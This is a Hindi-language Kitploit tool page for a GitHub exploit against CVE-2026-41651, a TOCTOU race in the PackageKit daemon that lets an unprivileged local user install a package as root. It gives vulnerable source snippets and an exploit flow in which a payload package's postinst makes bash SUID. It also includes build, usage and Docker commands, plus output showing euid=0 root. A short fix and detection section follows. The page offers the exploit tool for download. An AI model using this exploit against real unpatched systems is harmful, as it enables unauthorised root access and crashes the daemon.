Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-41651 — PackageKit के transaction handler में TOCTOU race का शोषण करके रूट के रूप में मनमाने पैकेज इंस्टॉल करता है, जिससे बिना प्रमाणीकरण के स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) और SUID शेल प्राप्त होता है। | Kitploit
उपकरण/GitHubGitHub/vozec/cve-2026-41651
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषण
GitHubvozec/cve-2026-41651

CVE-2026-41651

PackageKit के transaction handler में TOCTOU race का शोषण करके रूट के रूप में मनमाने पैकेज इंस्टॉल करता है, जिससे बिना प्रमाणीकरण के स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) और SUID शेल प्राप्त होता है।

रिपॉजिटरी देखें
1141834 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Pack2TheRoot — CVE-2026-41651

PackageKit के ट्रांज़ैक्शन हैंडलर में TOCTOU रेस। कोई भी स्थानीय अन-प्रिविलेज्ड उपयोगकर्ता बिना प्रमाणीकरण के रूट के रूप में मनमाना पैकेज इंस्टॉल कर सकता है।

Platform Language CVSS Status


अवलोकन

फ़ील्डमान
CVECVE-2026-41651
घटकPackageKit डेमन (packagekitd)
प्रभावित संस्करण1.0.2 – 1.3.4
फिक्स संस्करण1.3.5
प्रभावस्थानीय विशेषाधिकार वृद्धि → रूट
प्रमाणीकरण आवश्यकनहीं
उपयोगकर्ता इंटरैक्शननहीं
परीक्षण किया गयाUbuntu 24.04, Debian 12

डेमो

poc

भेद्यता

src/pk-transaction.c में तीन बग मिलकर प्राधिकरण और निष्पादन के बीच एक TOCTOU विंडो बनाते हैं।

बग 1 — बिना शर्त फ़्लैग ओवरराइट (पंक्ति 4036)

InstallFiles() बिना किसी स्टेट जाँच के cached_transaction_flags और cached_full_paths को बिना शर्त ओवरराइट करता है:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

बग 2 — मौन स्टेट-ट्रांज़िशन अस्वीकृति (पंक्तियाँ 876–881)

pk_transaction_set_state() पिछड़े ट्रांज़िशन को मौन रूप से छोड़ देता है। फ़्लैग पहले ही ओवरराइट हो चुके होते हैं, लेकिन स्टेट यथावत बना रहता है:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

बग 3 — विलंबित फ़्लैग रीड (पंक्तियाँ 2273–2277)

pk_transaction_run() कैश्ड फ़्लैग को प्राधिकरण समय पर नहीं, बल्कि डिस्पैच समय पर (GLib idle से) पढ़ता है:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

बोनस — SIMULATE polkit को बायपास करता है (पंक्तियाँ 2893–2900)

PK_TRANSACTION_FLAG_SIMULATE (बिट 2, मान 0x4) सेट करने पर polkit जाँच पूरी तरह छूट जाती है:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

एक्सप्लॉइट प्रवाह

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

दोनों InstallFiles कॉल क्लाइंट के मुख्य लूप के पुनरावृत्त होने से पहले fire-and-forget async D-Bus कॉल के रूप में भेजे जाते हैं। यह सुनिश्चित करता है कि GLib idle फायर होने से पहले दोनों संदेश सर्वर सॉकेट तक पहुँच जाएँ — जीतने के लिए कोई रेस नहीं।

polkitd अंततः दूसरी कॉल के लिए NOT_AUTHORIZED लौटाता है, लेकिन तब तक APT इंस्टॉलेशन को पहले ही भेज चुका होता है। यह त्रुटि अपेक्षित और हानिरहित है।


बिल्ड

root@kitploit:~
sudo apt install libglib2.0-dev
make

कोई अन्य निर्भरता नहीं — .deb पैकेज रनटाइम पर शुद्ध C में बनाए जाते हैं।


उपयोग

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — कर्नेल में सभी विशेषाधिकार जाँचें प्रभावी UID का उपयोग करती हैं।


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

यह इमेज PackageKit 1.3.4 को स्रोत से बनाती है (कमिट 2149735, अंतिम भेद्य संस्करण), dbus + polkitd + packagekitd प्रारंभ करती है, फिर एक्सप्लॉइट को एक अन-प्रिविलेज्ड उपयोगकर्ता के रूप में चलाती है।

g_assert पर नोट: Docker इमेज pk-transaction.c में एक g_assert (!transaction->emitted_finished) गार्ड को पैच करके हटा देती है। एक वास्तविक अनपैच्ड सिस्टम पर यह assert तब फायर होता है जब APT का थ्रेड Finished उत्सर्जित करने का प्रयास करता है, जबकि polkitd पहले ही ऐसा कर चुका होता है, जिससे SIGABRT के माध्यम से डेमन क्रैश हो जाता है। उस समय तक SUID bash पहले से ही डिस्क पर मौजूद होता है, इसलिए विशेषाधिकार वृद्धि सफल होती है — क्रैश एक साइड-इफेक्ट DoS है। packagekitd अगले D-Bus एक्टिवेशन पर पुनः प्रारंभ हो जाता है।


पता लगाना

PackageKit ≥ 1.3.5 पर दूसरी कॉल अस्वीकार कर दी जाती है:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

फिक्स pk_transaction_method_call() में एक स्टेट गार्ड जोड़ता है:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

संदर्भ

  • NVD — CVE-2026-41651
  • GitHub एडवाइज़री — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • फिक्स कमिट — 76cfb675
  • OSS-Security घोषणा
टूल डाउनलोड करें